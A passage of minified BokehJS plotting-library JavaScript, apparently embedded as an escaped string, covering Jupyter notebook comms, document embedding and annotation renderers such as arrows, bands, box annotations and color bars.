push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else if(n.roots()[0].id in r.kernels){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=r.kernels[n.roots()[0].id];try{e.registerCommTarget(i,function(t){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=new o.Receiver;t.onMsg=a.bind(n,e)})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else console.warn(\\\"Jupyter notebooks comms not available. push_notebook() will not function. If running JupyterLab ensure the latest jupyterlab_bokeh extension is installed. In an exported notebook this warning is expected.\\\")}r.kernels={},r.embed_items_notebook=function(t,e){if(1!=h.size(t))throw new Error(\\\"embed_items_notebook expects exactly one document in docs_json\\\");for(var i=l.Document.from_json(h.values(t)[0]),n=0,r=e;n<r.length;n++){var o=r[n];null!=o.notebook_comms_target&&_(o.notebook_comms_target,i);var s=c._resolve_element(o),a=c._resolve_root_elements(o);u.add_document_standalone(i,s,a)}}},function(t,e,i){var s=t(1),a=t(14),l=t(57);i._get_ws_url=function(t,e){var i,n=\\\"ws:\\\";return\\\"https:\\\"==window.location.protocol&&(n=\\\"wss:\\\"),null!=e?(i=document.createElement(\\\"a\\\")).href=e:i=window.location,null!=t?\\\"/\\\"==t&&(t=\\\"\\\"):t=i.pathname.replace(/\\\\/+$/,\\\"\\\"),n+\\\"//\\\"+i.host+t+\\\"/ws\\\"};var h={};i.add_document_from_session=function(t,e,i,n,r){void 0===n&&(n={}),void 0===r&&(r=!1);var o=window.location.search.substr(1);return function(t,e,i){t in h||(h[t]={});var n=h[t];return e in n||(n[e]=s.pull_session(t,e,i)),n[e]}(t,e,o).then(function(t){return l.add_document_standalone(t.document,i,n,r)},function(t){throw a.logger.error(\\\"Failed to load Bokeh session \\\"+e+\\\": \\\"+t),t})}},function(t,e,i){var h=t(52),u=t(5),c=t(0),_=t(53);i.add_document_standalone=function(t,o,s,e){void 0===s&&(s={}),void 0===e&&(e=!1);var a={};function i(t){var e;t.id in s?e=s[t.id]:o.classList.contains(_.BOKEH_ROOT)?e=o:(e=u.div({class:_.BOKEH_ROOT}),o.appendChild(e));var i,n,r=(n=new(i=t).default_view({model:i,parent:null}),c.index[i.id]=n);r.renderTo(e),a[t.id]=r}for(var n=0,r=t.roots();n<r.length;n++){var l=r[n];i(l)}return e&&(window.document.title=t.title()),t.on_change(function(t){t instanceof h.RootAddedEvent?i(t.model):t instanceof h.RootRemovedEvent?function(t){var e=t.id;if(e in a){var i=a[e];i.remove(),delete a[e],delete c.index[e]}}(t.model):e&&t instanceof h.TitleChangedEvent&&(window.document.title=t.title)}),a}},function(t,e,i){t(280);var n=t(286);i.version=n.version;var r=t(54);i.embed=r;var o=t(281);i.protocol=o;var s=t(285);i._testing=s;var a=t(14);i.logger=a.logger,i.set_log_level=a.set_log_level;var l=t(18);i.settings=l.settings;var h=t(0);i.Models=h.Models,i.index=h.index;var u=t(52);i.documents=u.documents;var c=t(284);i.safely=c.safely},function(t,e,i){var n=t(391),r=t(8),o=t(15),s=t(44),a=t(32),l=t(14),h=function(_){function i(t){return _.call(this,t)||this}return n.__extends(i,_),i.initClass=function(){this.prototype.type=\\\"Model\\\",this.define({tags:[o.Array,[]],name:[o.String],js_property_callbacks:[o.Any,{}],js_event_callbacks:[o.Any,{}],subscribed_events:[o.Array,[]]})},i.prototype.connect_signals=function(){var i=this;for(var t in _.prototype.connect_signals.call(this),this.js_property_callbacks)for(var e=this.js_property_callbacks[t],n=t.split(\\\":\\\"),r=n[0],o=n[1],s=void 0===o?null:o,a=function(t){var e=null!=s?l.properties[s][r]:l[r];l.connect(e,function(){return t.execute(i,{})})},l=this,h=0,u=e;h<u.length;h++){var c=u[h];a(c)}this.connect(this.properties.js_event_callbacks.change,function(){return i._update_event_callbacks}),this.connect(this.properties.subscribed_events.change,function(){return i._update_event_callbacks})},i.prototype._process_event=function(e){if(e.is_applicable_to(this)){e=e._customize_event(this);for(var t=0,i=this.js_event_callbacks[e.event_name]||[];t<i.length;t++){var n=i[t];n.execute(e,{})}null!=this.document&&this.subscribed_events.some(function(t){return t==e.event_name})&&this.document.event_manager.send_event(e)}},i.prototype.trigger_event=function(t){null!=this.document&&this.document.event_manager.trigger(t.set_model_id(this.id))},i.prototype._update_event_callbacks=function(){null!=this.document?this.document.event_manager.subscribed_models.add(this.id):l.logger.warn(\\\"WARNING: Document not defined for updating event callbacks\\\")},i.prototype._doc_attached=function(){a.isEmpty(this.js_event_callbacks)&&a.isEmpty(this.subscribed_events)||this._update_event_callbacks()},i.prototype.select=function(e){if(s.isString(e))return this.references().filter(function(t){return t instanceof i&&t.name===e});if(e.prototype instanceof r.HasProps)return this.references().filter(function(t){return t instanceof e});throw new Error(\\\"invalid selector\\\")},i.prototype.select_one=function(t){var e=this.select(t);switch(e.length){case 0:return null;case 1:return e[0];default:throw new Error(\\\"found more than one object matching given selector\\\")}},i}(r.HasProps);(i.Model=h).initClass()},function(t,e,i){var n=t(391),r=t(12),o=t(15),s=t(33),a=t(32),l=t(189),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._get_size=function(){throw new Error(\\\"not implemented\\\")},e.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},e.prototype.set_data=function(t){var e,i,n=this.model.materialize_dataspecs(t);if(a.extend(this,n),this.plot_model.use_map){var r=this;null!=r._x&&(e=s.project_xy(r._x,r._y),r._x=e[0],r._y=e[1]),null!=r._xs&&(i=s.project_xsys(r._xs,r._ys),r._xs=i[0],r._ys=i[1])}},e}(l.RendererView);i.AnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annotation\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"annotation\\\"})},t.prototype.add_panel=function(t){if(null==this.panel||t!==this.panel.side){var e=new r.SidePanel({side:t});e.attach_document(this.document),this.set_panel(e)}},t.prototype.set_panel=function(t){this.panel=t,this.level=\\\"overlay\\\"},t}(l.Renderer);(i.Annotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(62),s=t(200),a=t(15),l=t(31),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),null==this.model.source&&(this.model.source=new s.ColumnDataSource),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n,r=this.plot_view.frame;return\\\"data\\\"==this.model.start_units?(t=r.xscales[this.model.x_range_name].v_compute(this._x_start),e=r.yscales[this.model.y_range_name].v_compute(this._y_start)):(t=r.xview.v_compute(this._x_start),e=r.yview.v_compute(this._y_start)),\\\"data\\\"==this.model.end_units?(i=r.xscales[this.model.x_range_name].v_compute(this._x_end),n=r.yscales[this.model.y_range_name].v_compute(this._y_end)):(i=r.xview.v_compute(this._x_end),n=r.yview.v_compute(this._y_end)),[[t,e],[i,n]]},t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save();var e=this._map_data(),i=e[0],n=e[1];null!=this.model.end&&this._arrow_head(t,\\\"render\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"render\\\",this.model.start,n,i),t.beginPath();var r=this.plot_model.canvas.bbox.rect,o=r.x,s=r.y,a=r.width,l=r.height;t.rect(o,s,a,l),null!=this.model.end&&this._arrow_head(t,\\\"clip\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"clip\\\",this.model.start,n,i),t.closePath(),t.clip(),this._arrow_body(t,i,n),t.restore()}},t.prototype._arrow_head=function(t,e,i,n,r){for(var o=0,s=this._x_start.length;o<s;o++){var a=Math.PI/2+l.atan2([n[0][o],n[1][o]],[r[0][o],r[1][o]]);t.save(),t.translate(r[0][o],r[1][o]),t.rotate(a),\\\"render\\\"==e?i.render(t,o):\\\"clip\\\"==e&&i.clip(t,o),t.restore()}},t.prototype._arrow_body=function(t,e,i){if(this.visuals.line.doit)for(var n=0,r=this._x_start.length;n<r;n++)this.visuals.line.set_vectorize(t,n),t.beginPath(),t.moveTo(e[0][n],e[1][n]),t.lineTo(i[0][n],i[1][n]),t.stroke()},t}(r.AnnotationView);i.ArrowView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arrow\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\"]),this.define({x_start:[a.NumberSpec],y_start:[a.NumberSpec],start_units:[a.String,\\\"data\\\"],start:[a.Instance,null],x_end:[a.NumberSpec],y_end:[a.NumberSpec],end_units:[a.String,\\\"data\\\"],end:[a.Instance,function(){return new o.OpenHead({})}],source:[a.Instance],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]})},t}(r.Annotation);(i.Arrow=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(49),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ArrowHead\\\",this.define({size:[s.Number,25]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.visuals=new o.Visuals(this)},t}(r.Annotation);(i.ArrowHead=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenHead\\\",this.mixins([\\\"line\\\"])},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,0),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.stroke())},t}(a);(i.OpenHead=l).initClass();var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NormalHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._normal(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._normal(t,e),t.stroke())},t.prototype._normal=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.closePath()},t}(a);(i.NormalHead=h).initClass();var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VeeHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._vee(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._vee(t,e),t.stroke())},t.prototype._vee=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.closePath()},t}(a);(i.VeeHead=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TeeHead\\\",this.mixins([\\\"line\\\"])},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,0),t.lineTo(-.5*this.size,0),t.stroke())},t.prototype.clip=function(t,e){},t}(a);(i.TeeHead=c).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_view.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);for(var n=this._upper_sx.length-1,e=n;0<=e;e--)t.lineTo(this._upper_sx[e],this._upper_sy[e]);t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_value(t),t.fill()),t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke()),t.beginPath(),t.moveTo(this._upper_sx[0],this._upper_sy[0]);for(var e=0,i=this._upper_sx.length;e<i;e++)t.lineTo(this._upper_sx[e],this._upper_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke())}},t}(r.AnnotationView);i.BandView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Band\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({lower:[s.DistanceSpec],upper:[s.DistanceSpec],base:[s.DistanceSpec],dimension:[s.Dimension,\\\"height\\\"],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t}(r.Annotation);(i.Band=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),l=t(5),s=t(15),a=t(24);i.EDGE_TOLERANCE=2.5;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.classList.add(\\\"bk-shading\\\"),l.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.data_update,function(){return t.render()})):(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()}))},t.prototype.render=function(){var o=this;if(this.model.visible||\\\"css\\\"!=this.model.render_mode||l.hide(this.el),this.model.visible)if(null!=this.model.left||null!=this.model.right||null!=this.model.top||null!=this.model.bottom){var t=this.plot_model.frame,e=t.xscales[this.model.x_range_name],i=t.yscales[this.model.y_range_name],n=function(t,e,i,n,r){return null!=t?o.model.screen?t:\\\"data\\\"==e?i.compute(t):n.compute(t):r};this.sleft=n(this.model.left,this.model.left_units,e,t.xview,t._left.value),this.sright=n(this.model.right,this.model.right_units,e,t.xview,t._right.value),this.stop=n(this.model.top,this.model.top_units,i,t.yview,t._top.value),this.sbottom=n(this.model.bottom,this.model.bottom_units,i,t.yview,t._bottom.value);var r=\\\"css\\\"==this.model.render_mode?this._css_box.bind(this):this._canvas_box.bind(this);r(this.sleft,this.sright,this.sbottom,this.stop)}else l.hide(this.el)},t.prototype._css_box=function(t,e,i,n){var r=this.model.properties.line_width.value(),o=Math.floor(e-t)-r,s=Math.floor(i-n)-r;this.el.style.left=t+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.top=n+\\\"px\\\",this.el.style.height=s+\\\"px\\\",this.el.style.borderWidth=r+\\\"px\\\",this.el.style.borderColor=this.model.properties.line_color.value(),this.el.style.backgroundColor=this.model.properties.fill_color.value(),this.el.style.opacity=this.model.properties.fill_alpha.value();var a=this.model.properties.line_dash.value().length<2?\\\"solid\\\":\\\"dashed\\\";this.el.style.borderStyle=a,l.show(this.el)},t.prototype._canvas_box=function(t,e,i,n){var r=this.plot_view.canvas_view.ctx;r.save(),r.beginPath(),r.rect(t,n,e-t,i-n),this.visuals.fill.set_value(r),r.fill(),this.visuals.line.set_value(r),r.stroke(),r.restore()},t.prototype.interactive_bbox=function(){var t=this.model.properties.line_width.value()+i.EDGE_TOLERANCE;return new a.BBox({x0:this.sleft-t,y0:this.stop-t,x1:this.sright+t,y1:this.sbottom+t})},t.prototype.interactive_hit=function(t,e){if(null==this.model.in_cursor)return!1;var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.cursor=function(t,e){return Math.abs(t-this.sleft)<3||Math.abs(t-this.sright)<3?this.model.ew_cursor:Math.abs(e-this.sbottom)<3||Math.abs(e-this.stop)<3?this.model.ns_cursor:t>this.sleft&&t<this.sright&&e>this.stop&&e<this.sbottom?this.model.in_cursor:null},t}(r.AnnotationView);i.BoxAnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BoxAnnotation\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({render_mode:[s.RenderMode,\\\"canvas\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],top:[s.Number,null],top_units:[s.SpatialUnits,\\\"data\\\"],bottom:[s.Number,null],bottom_units:[s.SpatialUnits,\\\"data\\\"],left:[s.Number,null],left_units:[s.SpatialUnits,\\\"data\\\"],right:[s.Number,null],right_units:[s.SpatialUnits,\\\"data\\\"]}),this.internal({screen:[s.Boolean,!1],ew_cursor:[s.String,null],ns_cursor:[s.String,null],in_cursor:[s.String,null]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.left,i=t.right,n=t.top,r=t.bottom;this.setv({left:e,right:i,top:n,bottom:r,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.BoxAnnotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(207),s=t(104),u=t(167),a=t(192),l=t(193),h=t(184),c=t(15),_=t(41),p=t(21),g=t(22),d=t(32),f=t(44),v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._set_canvas_image()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.visible.change,function(){return t.plot_view.request_render()}),this.connect(this.model.ticker.change,function(){return t.plot_view.request_render()}),this.connect(this.model.formatter.change,function(){return t.plot_view.request_render()}),null!=this.model.color_mapper&&this.connect(this.model.color_mapper.change,function(){t._set_canvas_image(),t.plot_view.request_render()})},t.prototype._get_size=function(){if(null==this.model.color_mapper)return 0;var t=this.compute_legend_dimensions(),e=this.model.panel.side;switch(e){case\\\"above\\\":case\\\"below\\\":return t.height;case\\\"left\\\":case\\\"right\\\":return t.width;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._set_canvas_image=function(){var t,e;if(null!=this.model.color_mapper){var i,n,r=this.model.color_mapper.palette;switch(\\\"vertical\\\"==this.model.orientation&&(r=p.reversed(r)),this.model.orientation){case\\\"vertical\\\":t=[1,r.length],i=t[0],n=t[1];break;case\\\"horizontal\\\":e=[r.length,1],i=e[0],n=e[1];break;default:throw new Error(\\\"unreachable code\\\")}var o=document.createElement(\\\"canvas\\\");o.width=i,o.height=n;var s=o.getContext(\\\"2d\\\"),a=s.getImageData(0,0,i,n),l=new u.LinearColorMapper({palette:r}).rgba_mapper,h=l.v_compute(p.range(0,r.length));a.data.set(h),s.putImageData(a,0,0),this.image=o}},t.prototype.compute_legend_dimensions=function(){var t,e,i=this.model._computed_image_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this._get_label_extent(),a=this.model._title_extent(),l=this.model._tick_extent(),h=this.model.padding;switch(this.model.orientation){case\\\"vertical\\\":t=r+a+2*h,e=o+l+s+2*h;break;case\\\"horizontal\\\":t=r+a+l+s+2*h,e=o+2*h;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype.compute_legend_location=function(){var t,e,i=this.compute_legend_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this.model.margin,a=null!=this.model.panel?this.model.panel:this.plot_view.frame,l=a.bbox.ranges,h=l[0],u=l[1],c=this.model.location;if(f.isString(c))switch(c){case\\\"top_left\\\":t=h.start+s,e=u.start+s;break;case\\\"top_center\\\":t=(h.end+h.start)/2-o/2,e=u.start+s;break;case\\\"top_right\\\":t=h.end-s-o,e=u.start+s;break;case\\\"bottom_right\\\":t=h.end-s-o,e=u.end-s-r;break;case\\\"bottom_center\\\":t=(h.end+h.start)/2-o/2,e=u.end-s-r;break;case\\\"bottom_left\\\":t=h.start+s,e=u.end-s-r;break;case\\\"center_left\\\":t=h.start+s,e=(u.end+u.start)/2-r/2;break;case\\\"center\\\":t=(h.end+h.start)/2-o/2,e=(u.end+u.start)/2-r/2;break;case\\\"center_right\\\":t=h.end-s-o,e=(u.end+u.start)/2-r/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!f.isArray(c)||2!=c.length)throw new Error(\\\"unreachable code\\\");var _=c[0],p=c[1];t=a.xview.compute(_),e=a.yview.compute(p)-r}return{sx:t,sy:e}},t.prototype.render=function(){if(this.model.visible&&null!=this.model.color_mapper){var t=this.plot_view.canvas_view.ctx;t.save();var e=this.compute_legend_location(),i=e.sx,n=e.sy;t.translate(i,n),this._draw_bbox(t);var r=this._get_image_offset();if(t.translate(r.x,r.y),this._draw_image(t),null!=this.model.color_mapper.low&&null!=this.model.color_mapper.high){var o=this.model.tick_info();this._draw_major_ticks(t,o),this._draw_minor_ticks(t,o),this._draw_major_labels(t,o)}this.model.title&&this._draw_title(t),t.restore()}},t.prototype._draw_bbox=function(t){var e=this.compute_legend_dimensions();t.save(),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(0,0,e.width,e.height)),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_image=function(t){var e=this.model._computed_image_dimensions();t.save(),t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.scale_alpha,t.drawImage(this.image,0,0,e.width,e.height),this.visuals.bar_line.doit&&(this.visuals.bar_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_major_ticks=function(t,e){if(this.visuals.major_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.major,u=h[0],c=h[1],_=this.model.major_tick_in,p=this.model.major_tick_out;t.save(),t.translate(a,l),this.visuals.major_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_minor_ticks=function(t,e){if(this.visuals.minor_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.minor,u=h[0],c=h[1],_=this.model.minor_tick_in,p=this.model.minor_tick_out;t.save(),t.translate(a,l),this.visuals.minor_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_major_labels=function(t,e){if(this.visuals.major_label_text.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=this.model.label_standoff+this.model._tick_extent(),u=[h*n,h*r],c=u[0],_=u[1],p=e.coords.major,d=p[0],f=p[1],v=e.labels.major;this.visuals.major_label_text.set_value(t),t.save(),t.translate(a+c,l+_);for(var m=0,g=d.length;m<g;m++)t.fillText(v[m],Math.round(d[m]+n*this.model.label_standoff),Math.round(f[m]+r*this.model.label_standoff));t.restore()}},t.prototype._draw_title=function(t){this.visuals.title_text.doit&&(t.save(),this.visuals.title_text.set_value(t),t.fillText(this.model.title,0,-this.model.title_standoff),t.restore())},t.prototype._get_label_extent=function(){var t,e=this.model.tick_info().labels.major;if(null==this.model.color_mapper.low||null==this.model.color_mapper.high||d.isEmpty(e))t=0;else{var i=this.plot_view.canvas_view.ctx;switch(i.save(),this.visuals.major_label_text.set_value(i),this.model.orientation){case\\\"vertical\\\":t=p.max(e.map(function(t){return i.measureText(t.toString()).width}));break;case\\\"horizontal\\\":t=_.get_text_height(this.visuals.major_label_text.font_value()).height;break;default:throw new Error(\\\"unreachable code\\\")}t+=this.model.label_standoff,i.restore()}return t},t.prototype._get_image_offset=function(){var t=this.model.padding,e=this.model.padding+this.model._title_extent();return{x:t,y:e}},t}(r.AnnotationView);i.ColorBarView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorBar\\\",this.prototype.default_view=v,this.mixins([\\\"text:major_label_\\\",\\\"text:title_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"line:border_\\\",\\\"line:bar_\\\",\\\"fill:background_\\\"]),this.define({location:[c.Any,\\\"top_right\\\"],orientation:[c.Orientation,\\\"vertical\\\"],title:[c.String],title_standoff:[c.Number,2],width:[c.Any,\\\"auto\\\"],height:[c.Any,\\\"auto\\\"],scale_alpha:[c.Number,1],ticker:[c.Instance,function(){return new o.BasicTicker}],formatter:[c.Instance,function(){return new s.BasicTickFormatter}],major_label_overrides:[c.Any,{}],color_mapper:[c.Instance],label_standoff:[c.Number,5],margin:[c.Number,30],padding:[c.Number,10],major_tick_in:[c.Number,5],major_tick_out:[c.Number,0],minor_tick_in:[c.Number,0],minor_tick_out:[c.Number,0]}),this.override({background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,bar_line_color:null,border_line_color:null,major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"middle\\\",major_label_text_font_size:\\\"8pt\\\",major_tick_line_color:\\\"#ffffff\\\",minor_tick_line_color:null,title_text_font_size:\\\"10pt\\\",title_text_font_style:\\\"italic\\\"})},t.prototype._normals=function(){return\\\"vertical\\\"==this.orientation?[1,0]:[0,1]},t.prototype._title_extent=function(){var t=this.title_text_font+\\\" \\\"+this.title_text_font_size+\\\" \\\"+this.title_text_font_style,e=this.title?_.get_text_height(t).height+this.title_standoff:0;return e},t.prototype._tick_extent=function(){return null!=this.color_mapper.low&&null!=this.color_mapper.high?p.max([this.major_tick_out,this.minor_tick_out]):0},t.prototype._computed_image_dimensions=function(){var t,e,i=this.plot.plot_canvas.frame._height.value,n=this.plot.plot_canvas.frame._width.value,r=this._title_extent();switch(this.orientation){case\\\"vertical\\\":\\\"auto\\\"==this.height?null!=this.panel?t=i-2*this.padding-r:(t=p.max([25*this.color_mapper.palette.length,.3*i]),t=p.min([t,.8*i-2*this.padding-r])):t=this.height,e=\\\"auto\\\"==this.width?25:this.width;break;case\\\"horizontal\\\":t=\\\"auto\\\"==this.height?25:this.height,\\\"auto\\\"==this.width?null!=this.panel?e=n-2*this.padding:(e=p.max([25*this.color_mapper.palette.length,.3*n]),e=p.min([e,.8*n-2*this.padding])):e=this.width;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype._tick_coordinate_scale=function(t){var e={source_range:new h.Range1d({start:this.color_mapper.low,end:this.color_mapper.high}),target_range:new 